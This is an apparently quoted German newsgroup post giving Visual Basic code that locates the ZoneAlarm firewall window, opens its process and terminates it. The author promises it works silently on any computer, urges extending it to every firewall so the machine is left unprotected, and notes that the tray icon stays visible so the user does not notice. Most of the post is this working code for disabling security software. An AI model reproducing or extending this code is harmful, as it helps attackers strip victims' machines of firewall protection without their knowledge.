Bsp.: Message-ID <3B3B7A4E.C2EF27C4@hrz.tu-chemnitz.de>, Zitat:

Och, das mit dem Fragen ob der Firewall geschlossen werden
darf ist überhaupt kein Problem! Wenn ihr den Task mit
TerminateProcess beendet, macht der kein Mucks mehr.
Der Beispielcode beendet ZoneAlarm auf jedem Rechner kurz
und schmerzlos.

Code (Visual Basic):

Option Explicit

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
                    ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Const PROCESS_TERMINATE = &H1


Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
                    ByVal lpClassName As String, ByVal lpWindowName As String) As Long



Private Sub Close_ZoneAlarm()
   Dim xhwnd As Long
   Dim pwid As Long
   xhwnd = FindWindow(vbNullString, "ZoneAlarm")
   GetWindowThreadProcessId xhwnd, pwid
    
   Dim Task As Long, result As Long
   Task = OpenProcess(PROCESS_TERMINATE, 0&, pwid)
   TerminateProcess Task, 1&

   CloseHandle Task
End Sub

Jetzt den Titel des Fenster jedes Firewalls herausfinden, den Code umschreiben dass er alle durchgeht, und der PC ist Firewallfrei.
mfg Moskito

PS: Etwas gutes ist, dass das Icon im Systemstray noch erhalten
bleibt solange der User nicht mit der Maus darüberfährt.

Zitatende...